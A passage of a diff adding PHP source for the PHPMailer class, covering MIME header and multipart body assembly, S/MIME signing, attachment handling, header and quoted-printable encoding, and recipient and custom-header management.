$this->headerLine('X-Mailer', $myXmailer); + } + } + + if ($this->ConfirmReadingTo != '') { + $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>'); + } + + // Add custom headers + foreach ($this->CustomHeader as $header) { + $result .= $this->headerLine( + trim($header[0]), + $this->encodeHeader(trim($header[1])) + ); + } + if (!$this->sign_key_file) { + $result .= $this->headerLine('MIME-Version', '1.0'); + $result .= $this->getMailMIME(); + } + + return $result; + } + + /** + * Get the message MIME type headers. + * @access public + * @return string + */ + public function getMailMIME() + { + $result = ''; + $ismultipart = true; + switch ($this->message_type) { + case 'inline': + $result .= $this->headerLine('Content-Type', 'multipart/related;'); + $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); + break; + case 'attach': + case 'inline_attach': + case 'alt_attach': + case 'alt_inline_attach': + $result .= $this->headerLine('Content-Type', 'multipart/mixed;'); + $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); + break; + case 'alt': + case 'alt_inline': + $result .= $this->headerLine('Content-Type', 'multipart/alternative;'); + $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); + break; + default: + // Catches case 'plain': and case '': + $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet); + $ismultipart = false; + break; + } + // RFC1341 part 5 says 7bit is assumed if not specified + if ($this->Encoding != '7bit') { + // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE + if ($ismultipart) { + if ($this->Encoding == '8bit') { + $result .= $this->headerLine('Content-Transfer-Encoding', '8bit'); + } + // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible + } else { + $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding); + } + } + + if ($this->Mailer != 'mail') { + $result .= $this->LE; + } + + return $result; + } + + /** + * Returns the whole MIME message. + * Includes complete headers and body. + * Only valid post preSend(). + * @see PHPMailer::preSend() + * @access public + * @return string + */ + public function getSentMIMEMessage() + { + return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody; + } + + /** + * Assemble the message body. + * Returns an empty string on failure. + * @access public + * @throws phpmailerException + * @return string The assembled message body + */ + public function createBody() + { + $body = ''; + //Create unique IDs and preset boundaries + $this->uniqueid = md5(uniqid(time())); + $this->boundary[1] = 'b1_' . $this->uniqueid; + $this->boundary[2] = 'b2_' . $this->uniqueid; + $this->boundary[3] = 'b3_' . $this->uniqueid; + + if ($this->sign_key_file) { + $body .= $this->getMailMIME() . $this->LE; + } + + $this->setWordWrap(); + + $bodyEncoding = $this->Encoding; + $bodyCharSet = $this->CharSet; + //Can we do a 7-bit downgrade? + if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) { + $bodyEncoding = '7bit'; + $bodyCharSet = 'us-ascii'; + } + //If lines are too long, and we're not already using an encoding that will shorten them, + //change to quoted-printable transfer encoding + if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) { + $this->Encoding = 'quoted-printable'; + $bodyEncoding = 'quoted-printable'; + } + + $altBodyEncoding = $this->Encoding; + $altBodyCharSet = $this->CharSet; + //Can we do a 7-bit downgrade? + if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) { + $altBodyEncoding = '7bit'; + $altBodyCharSet = 'us-ascii'; + } + //If lines are too long, and we're not already using an encoding that will shorten them, + //change to quoted-printable transfer encoding + if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) { + $altBodyEncoding = 'quoted-printable'; + } + //Use this as a preamble in all multipart message types + $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE; + switch ($this->message_type) { + case 'inline': + $body .= $mimepre; + $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); + $body .= $this->encodeString($this->Body, $bodyEncoding); + $body .= $this->LE . $this->LE; + $body .= $this->attachAll('inline', $this->boundary[1]); + break; + case 'attach': + $body .= $mimepre; + $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); + $body .= $this->encodeString($this->Body, $bodyEncoding); + $body .= $this->LE . $this->LE; + $body .= $this->attachAll('attachment', $this->boundary[1]); + break; + case 'inline_attach': + $body .= $mimepre; + $body .= $this->textLine('--' . $this->boundary[1]); + $body .= $this->headerLine('Content-Type', 'multipart/related;'); + $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); + $body .= $this->LE; + $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); + $body .= $this->encodeString($this->Body, $bodyEncoding); + $body .= $this->LE . $this->LE; + $body .= $this->attachAll('inline', $this->boundary[2]); + $body .= $this->LE; + $body .= $this->attachAll('attachment', $this->boundary[1]); + break; + case 'alt': + $body .= $mimepre; + $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding); + $body .= $this->encodeString($this->AltBody, $altBodyEncoding); + $body .= $this->LE . $this->LE; + $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding); + $body .= $this->encodeString($this->Body, $bodyEncoding); + $body .= $this->LE . $this->LE; + if (!empty($this->Ical)) { + $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', ''); + $body .= $this->encodeString($this->Ical, $this->Encoding); + $body .= $this->LE . $this->LE; + } + $body .= $this->endBoundary($this->boundary[1]); + break; + case 'alt_inline': + $body .= $mimepre; + $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding); + $body .= $this->encodeString($this->AltBody, $altBodyEncoding); + $body .= $this->LE . $this->LE; + $body .= $this->textLine('--' . $this->boundary[1]); + $body .= $this->headerLine('Content-Type', 'multipart/related;'); + $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); + $body .= $this->LE; + $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding); + $body .= $this->encodeString($this->Body, $bodyEncoding); + $body .= $this->LE . $this->LE; + $body .= $this->attachAll('inline', $this->boundary[2]); + $body .= $this->LE; + $body .= $this->endBoundary($this->boundary[1]); + break; + case 'alt_attach': + $body .= $mimepre; + $body .= $this->textLine('--' . $this->boundary[1]); + $body .= $this->headerLine('Content-Type', 'multipart/alternative;'); + $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); + $body .= $this->LE; + $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding); + $body .= $this->encodeString($this->AltBody, $altBodyEncoding); + $body .= $this->LE . $this->LE; + $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding); + $body .= $this->encodeString($this->Body, $bodyEncoding); + $body .= $this->LE . $this->LE; + $body .= $this->endBoundary($this->boundary[2]); + $body .= $this->LE; + $body .= $this->attachAll('attachment', $this->boundary[1]); + break; + case 'alt_inline_attach': + $body .= $mimepre; + $body .= $this->textLine('--' . $this->boundary[1]); + $body .= $this->headerLine('Content-Type', 'multipart/alternative;'); + $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); + $body .= $this->LE; + $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding); + $body .= $this->encodeString($this->AltBody, $altBodyEncoding); + $body .= $this->LE . $this->LE; + $body .= $this->textLine('--' . $this->boundary[2]); + $body .= $this->headerLine('Content-Type', 'multipart/related;'); + $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"'); + $body .= $this->LE; + $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding); + $body .= $this->encodeString($this->Body, $bodyEncoding); + $body .= $this->LE . $this->LE; + $body .= $this->attachAll('inline', $this->boundary[3]); + $body .= $this->LE; + $body .= $this->endBoundary($this->boundary[2]); + $body .= $this->LE; + $body .= $this->attachAll('attachment', $this->boundary[1]); + break; + default: + // catch case 'plain' and case '' + $body .= $this->encodeString($this->Body, $bodyEncoding); + break; + } + + if ($this->isError()) { + $body = ''; + } elseif ($this->sign_key_file) { + try { + if (!defined('PKCS7_TEXT')) { + throw new phpmailerException($this->lang('extension_missing') . 'openssl'); + } + // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1 + $file = tempnam(sys_get_temp_dir(), 'mail'); + if (false === file_put_contents($file, $body)) { + throw new phpmailerException($this->lang('signing') . ' Could not write temp file'); + } + $signed = tempnam(sys_get_temp_dir(), 'signed'); + //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197 + if (empty($this->sign_extracerts_file)) { + $sign = @openssl_pkcs7_sign( + $file, + $signed, + 'file://' . realpath($this->sign_cert_file), + array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), + null + ); + } else { + $sign = @openssl_pkcs7_sign( + $file, + $signed, + 'file://' . realpath($this->sign_cert_file), + array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), + null, + PKCS7_DETACHED, + $this->sign_extracerts_file + ); + } + if ($sign) { + @unlink($file); + $body = file_get_contents($signed); + @unlink($signed); + //The message returned by openssl contains both headers and body, so need to split them up + $parts = explode("\n\n", $body, 2); + $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE; + $body = $parts[1]; + } else { + @unlink($file); + @unlink($signed); + throw new phpmailerException($this->lang('signing') . openssl_error_string()); + } + } catch (phpmailerException $exc) { + $body = ''; + if ($this->exceptions) { + throw $exc; + } + } + } + return $body; + } + + /** + * Return the start of a message boundary. + * @access protected + * @param string $boundary + * @param string $charSet + * @param string $contentType + * @param string $encoding + * @return string + */ + protected function getBoundary($boundary, $charSet, $contentType, $encoding) + { + $result = ''; + if ($charSet == '') { + $charSet = $this->CharSet; + } + if ($contentType == '') { + $contentType = $this->ContentType; + } + if ($encoding == '') { + $encoding = $this->Encoding; + } + $result .= $this->textLine('--' . $boundary); + $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet); + $result .= $this->LE; + // RFC1341 part 5 says 7bit is assumed if not specified + if ($encoding != '7bit') { + $result .= $this->headerLine('Content-Transfer-Encoding', $encoding); + } + $result .= $this->LE; + + return $result; + } + + /** + * Return the end of a message boundary. + * @access protected + * @param string $boundary + * @return string + */ + protected function endBoundary($boundary) + { + return $this->LE . '--' . $boundary . '--' . $this->LE; + } + + /** + * Set the message type. + * PHPMailer only supports some preset message types, + * not arbitrary MIME structures. + * @access protected + * @return void + */ + protected function setMessageType() + { + $type = array(); + if ($this->alternativeExists()) { + $type[] = 'alt'; + } + if ($this->inlineImageExists()) { + $type[] = 'inline'; + } + if ($this->attachmentExists()) { + $type[] = 'attach'; + } + $this->message_type = implode('_', $type); + if ($this->message_type == '') { + $this->message_type = 'plain'; + } + } + + /** + * Format a header line. + * @access public + * @param string $name + * @param string $value + * @return string + */ + public function headerLine($name, $value) + { + return $name . ': ' . $value . $this->LE; + } + + /** + * Return a formatted mail line. + * @access public + * @param string $value + * @return string + */ + public function textLine($value) + { + return $value . $this->LE; + } + + /** + * Add an attachment from a path on the filesystem. + * Returns false if the file could not be found or read. + * @param string $path Path to the attachment. + * @param string $name Overrides the attachment name. + * @param string $encoding File encoding (see $Encoding). + * @param string $type File extension (MIME) type. + * @param string $disposition Disposition to use + * @throws phpmailerException + * @return boolean + */ + public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment') + { + try { + if (!@is_file($path)) { + throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE); + } + + // If a MIME type is not specified, try to work it out from the file name + if ($type == '') { + $type = self::filenameToType($path); + } + + $filename = basename($path); + if ($name == '') { + $name = $filename; + } + + $this->attachment[] = array( + 0 => $path, + 1 => $filename, + 2 => $name, + 3 => $encoding, + 4 => $type, + 5 => false, // isStringAttachment + 6 => $disposition, + 7 => 0 + ); + + } catch (phpmailerException $exc) { + $this->setError($exc->getMessage()); + $this->edebug($exc->getMessage()); + if ($this->exceptions) { + throw $exc; + } + return false; + } + return true; + } + + /** + * Return the array of attachments. + * @return array + */ + public function getAttachments() + { + return $this->attachment; + } + + /** + * Attach all file, string, and binary attachments to the message. + * Returns an empty string on failure. + * @access protected + * @param string $disposition_type + * @param string $boundary + * @return string + */ + protected function attachAll($disposition_type, $boundary) + { + // Return text of body + $mime = array(); + $cidUniq = array(); + $incl = array(); + + // Add all attachments + foreach ($this->attachment as $attachment) { + // Check if it is a valid disposition_filter + if ($attachment[6] == $disposition_type) { + // Check for string attachment + $string = ''; + $path = ''; + $bString = $attachment[5]; + if ($bString) { + $string = $attachment[0]; + } else { + $path = $attachment[0]; + } + + $inclhash = md5(serialize($attachment)); + if (in_array($inclhash, $incl)) { + continue; + } + $incl[] = $inclhash; + $name = $attachment[2]; + $encoding = $attachment[3]; + $type = $attachment[4]; + $disposition = $attachment[6]; + $cid = $attachment[7]; + if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) { + continue; + } + $cidUniq[$cid] = true; + + $mime[] = sprintf('--%s%s', $boundary, $this->LE); + //Only include a filename property if we have one + if (!empty($name)) { + $mime[] = sprintf( + 'Content-Type: %s; name="%s"%s', + $type, + $this->encodeHeader($this->secureHeader($name)), + $this->LE + ); + } else { + $mime[] = sprintf( + 'Content-Type: %s%s', + $type, + $this->LE + ); + } + // RFC1341 part 5 says 7bit is assumed if not specified + if ($encoding != '7bit') { + $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE); + } + + if ($disposition == 'inline') { + $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE); + } + + // If a filename contains any of these chars, it should be quoted, + // but not otherwise: RFC2183 & RFC2045 5.1 + // Fixes a warning in IETF's msglint MIME checker + // Allow for bypassing the Content-Disposition header totally + if (!(empty($disposition))) { + $encoded_name = $this->encodeHeader($this->secureHeader($name)); + if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) { + $mime[] = sprintf( + 'Content-Disposition: %s; filename="%s"%s', + $disposition, + $encoded_name, + $this->LE . $this->LE + ); + } else { + if (!empty($encoded_name)) { + $mime[] = sprintf( + 'Content-Disposition: %s; filename=%s%s', + $disposition, + $encoded_name, + $this->LE . $this->LE + ); + } else { + $mime[] = sprintf( + 'Content-Disposition: %s%s', + $disposition, + $this->LE . $this->LE + ); + } + } + } else { + $mime[] = $this->LE; + } + + // Encode as string attachment + if ($bString) { + $mime[] = $this->encodeString($string, $encoding); + if ($this->isError()) { + return ''; + } + $mime[] = $this->LE . $this->LE; + } else { + $mime[] = $this->encodeFile($path, $encoding); + if ($this->isError()) { + return ''; + } + $mime[] = $this->LE . $this->LE; + } + } + } + + $mime[] = sprintf('--%s--%s', $boundary, $this->LE); + + return implode('', $mime); + } + + /** + * Encode a file attachment in requested format. + * Returns an empty string on failure. + * @param string $path The full path to the file + * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable' + * @throws phpmailerException + * @access protected + * @return string + */ + protected function encodeFile($path, $encoding = 'base64') + { + try { + if (!is_readable($path)) { + throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE); + } + $magic_quotes = get_magic_quotes_runtime(); + if ($magic_quotes) { + if (version_compare(PHP_VERSION, '5.3.0', '<')) { + set_magic_quotes_runtime(false); + } else { + //Doesn't exist in PHP 5.4, but we don't need to check because + //get_magic_quotes_runtime always returns false in 5.4+ + //so it will never get here + ini_set('magic_quotes_runtime', false); + } + } + $file_buffer = file_get_contents($path); + $file_buffer = $this->encodeString($file_buffer, $encoding); + if ($magic_quotes) { + if (version_compare(PHP_VERSION, '5.3.0', '<')) { + set_magic_quotes_runtime($magic_quotes); + } else { + ini_set('magic_quotes_runtime', $magic_quotes); + } + } + return $file_buffer; + } catch (Exception $exc) { + $this->setError($exc->getMessage()); + return ''; + } + } + + /** + * Encode a string in requested format. + * Returns an empty string on failure. + * @param string $str The text to encode + * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable' + * @access public + * @return string + */ + public function encodeString($str, $encoding = 'base64') + { + $encoded = ''; + switch (strtolower($encoding)) { + case 'base64': + $encoded = chunk_split(base64_encode($str), 76, $this->LE); + break; + case '7bit': + case '8bit': + $encoded = $this->fixEOL($str); + // Make sure it ends with a line break + if (substr($encoded, -(strlen($this->LE))) != $this->LE) { + $encoded .= $this->LE; + } + break; + case 'binary': + $encoded = $str; + break; + case 'quoted-printable': + $encoded = $this->encodeQP($str); + break; + default: + $this->setError($this->lang('encoding') . $encoding); + break; + } + return $encoded; + } + + /** + * Encode a header string optimally. + * Picks shortest of Q, B, quoted-printable or none. + * @access public + * @param string $str + * @param string $position + * @return string + */ + public function encodeHeader($str, $position = 'text') + { + $matchcount = 0; + switch (strtolower($position)) { + case 'phrase': + if (!preg_match('/[\200-\377]/', $str)) { + // Can't use addslashes as we don't know the value of magic_quotes_sybase + $encoded = addcslashes($str, "\0..\37\177\\\""); + if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { + return ($encoded); + } else { + return ("\"$encoded\""); + } + } + $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches); + break; + /** @noinspection PhpMissingBreakStatementInspection */ + case 'comment': + $matchcount = preg_match_all('/[()"]/', $str, $matches); + // Intentional fall-through + case 'text': + default: + $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches); + break; + } + + //There are no chars that need encoding + if ($matchcount == 0) { + return ($str); + } + + $maxlen = 75 - 7 - strlen($this->CharSet); + // Try to select the encoding which should produce the shortest output + if ($matchcount > strlen($str) / 3) { + // More than a third of the content will need encoding, so B encoding will be most efficient + $encoding = 'B'; + if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) { + // Use a custom function which correctly encodes and wraps long + // multibyte strings without breaking lines within a character + $encoded = $this->base64EncodeWrapMB($str, "\n"); + } else { + $encoded = base64_encode($str); + $maxlen -= $maxlen % 4; + $encoded = trim(chunk_split($encoded, $maxlen, "\n")); + } + } else { + $encoding = 'Q'; + $encoded = $this->encodeQ($str, $position); + $encoded = $this->wrapText($encoded, $maxlen, true); + $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded)); + } + + $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded); + $encoded = trim(str_replace("\n", $this->LE, $encoded)); + + return $encoded; + } + + /** + * Check if a string contains multi-byte characters. + * @access public + * @param string $str multi-byte text to wrap encode + * @return boolean + */ + public function hasMultiBytes($str) + { + if (function_exists('mb_strlen')) { + return (strlen($str) > mb_strlen($str, $this->CharSet)); + } else { // Assume no multibytes (we can't handle without mbstring functions anyway) + return false; + } + } + + /** + * Does a string contain any 8-bit chars (in any charset)? + * @param string $text + * @return boolean + */ + public function has8bitChars($text) + { + return (boolean)preg_match('/[\x80-\xFF]/', $text); + } + + /** + * Encode and wrap long multibyte strings for mail headers + * without breaking lines within a character. + * Adapted from a function by paravoid + * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283 + * @access public + * @param string $str multi-byte text to wrap encode + * @param string $linebreak string to use as linefeed/end-of-line + * @return string + */ + public function base64EncodeWrapMB($str, $linebreak = null) + { + $start = '=?' . $this->CharSet . '?B?'; + $end = '?='; + $encoded = ''; + if ($linebreak === null) { + $linebreak = $this->LE; + } + + $mb_length = mb_strlen($str, $this->CharSet); + // Each line must have length <= 75, including $start and $end + $length = 75 - strlen($start) - strlen($end); + // Average multi-byte ratio + $ratio = $mb_length / strlen($str); + // Base64 has a 4:3 ratio + $avgLength = floor($length * $ratio * .75); + + for ($i = 0; $i < $mb_length; $i += $offset) { + $lookBack = 0; + do { + $offset = $avgLength - $lookBack; + $chunk = mb_substr($str, $i, $offset, $this->CharSet); + $chunk = base64_encode($chunk); + $lookBack++; + } while (strlen($chunk) > $length); + $encoded .= $chunk . $linebreak; + } + + // Chomp the last linefeed + $encoded = substr($encoded, 0, -strlen($linebreak)); + return $encoded; + } + + /** + * Encode a string in quoted-printable format. + * According to RFC2045 section 6.7. + * @access public + * @param string $string The text to encode + * @param integer $line_max Number of chars allowed on a line before wrapping + * @return string + * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment + */ + public function encodeQP($string, $line_max = 76) + { + // Use native function if it's available (>= PHP5.3) + if (function_exists('quoted_printable_encode')) { + return quoted_printable_encode($string); + } + // Fall back to a pure PHP implementation + $string = str_replace( + array('%20', '%0D%0A.', '%0D%0A', '%'), + array(' ', "\r\n=2E", "\r\n", '='), + rawurlencode($string) + ); + return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string); + } + + /** + * Backward compatibility wrapper for an old QP encoding function that was removed. + * @see PHPMailer::encodeQP() + * @access public + * @param string $string + * @param integer $line_max + * @param boolean $space_conv + * @return string + * @deprecated Use encodeQP instead. + */ + public function encodeQPphp( + $string, + $line_max = 76, + /** @noinspection PhpUnusedParameterInspection */ $space_conv = false + ) { + return $this->encodeQP($string, $line_max); + } + + /** + * Encode a string using Q encoding. + * @link http://tools.ietf.org/html/rfc2047 + * @param string $str the text to encode + * @param string $position Where the text is going to be used, see the RFC for what that means + * @access public + * @return string + */ + public function encodeQ($str, $position = 'text') + { + // There should not be any EOL in the string + $pattern = ''; + $encoded = str_replace(array("\r", "\n"), '', $str); + switch (strtolower($position)) { + case 'phrase': + // RFC 2047 section 5.3 + $pattern = '^A-Za-z0-9!*+\/ -'; + break; + /** @noinspection PhpMissingBreakStatementInspection */ + case 'comment': + // RFC 2047 section 5.2 + $pattern = '\(\)"'; + // intentional fall-through + // for this reason we build the $pattern without including delimiters and [] + case 'text': + default: + // RFC 2047 section 5.1 + // Replace every high ascii, control, =, ? and _ characters + $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern; + break; + } + $matches = array(); + if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { + // If the string contains an '=', make sure it's the first thing we replace + // so as to avoid double-encoding + $eqkey = array_search('=', $matches[0]); + if (false !== $eqkey) { + unset($matches[0][$eqkey]); + array_unshift($matches[0], '='); + } + foreach (array_unique($matches[0]) as $char) { + $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded); + } + } + // Replace every spaces to _ (more readable than =20) + return str_replace(' ', '_', $encoded); + } + + /** + * Add a string or binary attachment (non-filesystem). + * This method can be used to attach ascii or binary data, + * such as a BLOB record from a database. + * @param string $string String attachment data. + * @param string $filename Name of the attachment. + * @param string $encoding File encoding (see $Encoding). + * @param string $type File extension (MIME) type. + * @param string $disposition Disposition to use + * @return void + */ + public function addStringAttachment( + $string, + $filename, + $encoding = 'base64', + $type = '', + $disposition = 'attachment' + ) { + // If a MIME type is not specified, try to work it out from the file name + if ($type == '') { + $type = self::filenameToType($filename); + } + // Append to $attachment array + $this->attachment[] = array( + 0 => $string, + 1 => $filename, + 2 => basename($filename), + 3 => $encoding, + 4 => $type, + 5 => true, // isStringAttachment + 6 => $disposition, + 7 => 0 + ); + } + + /** + * Add an embedded (inline) attachment from a file. + * This can include images, sounds, and just about any other document type. + * These differ from 'regular' attachments in that they are intended to be + * displayed inline with the message, not just attached for download. + * This is used in HTML messages that embed the images + * the HTML refers to using the $cid value. + * @param string $path Path to the attachment. + * @param string $cid Content ID of the attachment; Use this to reference + * the content when using an embedded image in HTML. + * @param string $name Overrides the attachment name. + * @param string $encoding File encoding (see $Encoding). + * @param string $type File MIME type. + * @param string $disposition Disposition to use + * @return boolean True on successfully adding an attachment + */ + public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') + { + if (!@is_file($path)) { + $this->setError($this->lang('file_access') . $path); + return false; + } + + // If a MIME type is not specified, try to work it out from the file name + if ($type == '') { + $type = self::filenameToType($path); + } + + $filename = basename($path); + if ($name == '') { + $name = $filename; + } + + // Append to $attachment array + $this->attachment[] = array( + 0 => $path, + 1 => $filename, + 2 => $name, + 3 => $encoding, + 4 => $type, + 5 => false, // isStringAttachment + 6 => $disposition, + 7 => $cid + ); + return true; + } + + /** + * Add an embedded stringified attachment. + * This can include images, sounds, and just about any other document type. + * Be sure to set the $type to an image type for images: + * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'. + * @param string $string The attachment binary data. + * @param string $cid Content ID of the attachment; Use this to reference + * the content when using an embedded image in HTML. + * @param string $name + * @param string $encoding File encoding (see $Encoding). + * @param string $type MIME type. + * @param string $disposition Disposition to use + * @return boolean True on successfully adding an attachment + */ + public function addStringEmbeddedImage( + $string, + $cid, + $name = '', + $encoding = 'base64', + $type = '', + $disposition = 'inline' + ) { + // If a MIME type is not specified, try to work it out from the name + if ($type == '' and !empty($name)) { + $type = self::filenameToType($name); + } + + // Append to $attachment array + $this->attachment[] = array( + 0 => $string, + 1 => $name, + 2 => $name, + 3 => $encoding, + 4 => $type, + 5 => true, // isStringAttachment + 6 => $disposition, + 7 => $cid + ); + return true; + } + + /** + * Check if an inline attachment is present. + * @access public + * @return boolean + */ + public function inlineImageExists() + { + foreach ($this->attachment as $attachment) { + if ($attachment[6] == 'inline') { + return true; + } + } + return false; + } + + /** + * Check if an attachment (non-inline) is present. + * @return boolean + */ + public function attachmentExists() + { + foreach ($this->attachment as $attachment) { + if ($attachment[6] == 'attachment') { + return true; + } + } + return false; + } + + /** + * Check if this message has an alternative body set. + * @return boolean + */ + public function alternativeExists() + { + return !empty($this->AltBody); + } + + /** + * Clear queued addresses of given kind. + * @access protected + * @param string $kind 'to', 'cc', or 'bcc' + * @return void + */ + public function clearQueuedAddresses($kind) + { + $RecipientsQueue = $this->RecipientsQueue; + foreach ($RecipientsQueue as $address => $params) { + if ($params[0] == $kind) { + unset($this->RecipientsQueue[$address]); + } + } + } + + /** + * Clear all To recipients. + * @return void + */ + public function clearAddresses() + { + foreach ($this->to as $to) { + unset($this->all_recipients[strtolower($to[0])]); + } + $this->to = array(); + $this->clearQueuedAddresses('to'); + } + + /** + * Clear all CC recipients. + * @return void + */ + public function clearCCs() + { + foreach ($this->cc as $cc) { + unset($this->all_recipients[strtolower($cc[0])]); + } + $this->cc = array(); + $this->clearQueuedAddresses('cc'); + } + + /** + * Clear all BCC recipients. + * @return void + */ + public function clearBCCs() + { + foreach ($this->bcc as $bcc) { + unset($this->all_recipients[strtolower($bcc[0])]); + } + $this->bcc = array(); + $this->clearQueuedAddresses('bcc'); + } + + /** + * Clear all ReplyTo recipients. + * @return void + */ + public function clearReplyTos() + { + $this->ReplyTo = array(); + $this->ReplyToQueue = array(); + } + + /** + * Clear all recipient types. + * @return void + */ + public function clearAllRecipients() + { + $this->to = array(); + $this->cc = array(); + $this->bcc = array(); + $this->all_recipients = array(); + $this->RecipientsQueue = array(); + } + + /** + * Clear all filesystem, string, and binary attachments. + * @return void + */ + public function clearAttachments() + { + $this->attachment = array(); + } + + /** + * Clear all custom headers. + * @return void + */ + public function clearCustomHeaders() + { + $this->CustomHeader = array(); + } + + /** + * Add an error message to the error container. + * @access protected + * @param string $msg + * @return void + */ + protected function setError($msg) + { + $this->error_count++; + if ($this->Mailer == 'smtp' and !is_null($this->smtp)) { + $lasterror = $this->smtp->getError(); + if (!empty($lasterror['error'])) { + $msg .= $this->lang('smtp_error') . $lasterror['error']; + if (!empty($lasterror['detail'])) { + $msg .= ' Detail: '. $lasterror['detail']; + } + if (!empty($lasterror['smtp_code'])) { + $msg .= ' SMTP code: ' . $lasterror['smtp_code']; + } + if (!empty($lasterror['smtp_code_ex'])) { + $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex']; + } + } + } + $this->ErrorInfo = $msg; + } + + /** + * Return an RFC 822 formatted date. + * @access public + * @return string + * @static + */ + public static function rfcDate() + { + // Set the time zone to whatever the default is to avoid 500 errors + // Will default to UTC if it's not set properly in php.ini + date_default_timezone_set(@date_default_timezone_get()); + return date('D, j M Y H:i:s O'); + } + + /** + * Get the server hostname. + * Returns 'localhost.localdomain' if unknown. + * @access protected + * @return string + */ + protected function serverHostname() + { + $result = 'localhost.localdomain'; + if (!empty($this->Hostname)) { + $result = $this->Hostname; + } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) { + $result = $_SERVER['SERVER_NAME']; + } elseif (function_exists('gethostname') && gethostname() !== false) { + $result = gethostname(); + } elseif (php_uname('n') !== false) { + $result = php_uname('n'); + } + return $result; + } + + /** + * Get an error message in the current language. + * @access protected + * @param string $key + * @return string + */ + protected function lang($key) + { + if (count($this->language) < 1) { + $this->setLanguage('en'); // set the default language + } + + if (array_key_exists($key, $this->language)) { + if ($key == 'smtp_connect_failed') { + //Include a link to troubleshooting docs on SMTP connection failure + //this is by far the biggest cause of support questions + //but it's usually not PHPMailer's fault. + return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting'; + } + return $this->language[$key]; + } else { + //Return the key as a fallback + return $key; + } + } + + /** + * Check if an error occurred. + * @access public + * @return boolean True if an error did occur. + */ + public function isError() + { + return ($this->error_count > 0); + } + + /** + * Ensure consistent line endings in a string. + * Changes every end of line from CRLF, CR or LF to $this->LE. + * @access public + * @param string $str String to fixEOL + * @return string + */ + public function fixEOL($str) + { + // Normalise to \n + $nstr = str_replace(array("\r\n", "\r"), "\n", $str); + // Now convert LE as needed + if ($this->LE !== "\n") { + $nstr = str_replace("\n", $this->LE, $nstr); + } + return $nstr; + } + + /** + * Add a custom header. + * $name value can be overloaded to contain + * both header name and value (name:value) + * @access public + * @param string $name Custom header name + * @param string $value Header value + * @return void + */ + public function addCustomHeader($name, $value = null) + { + if ($value === null) { + // Value passed in as name:value + $this->CustomHeader[] = explode(':', $name, 2); 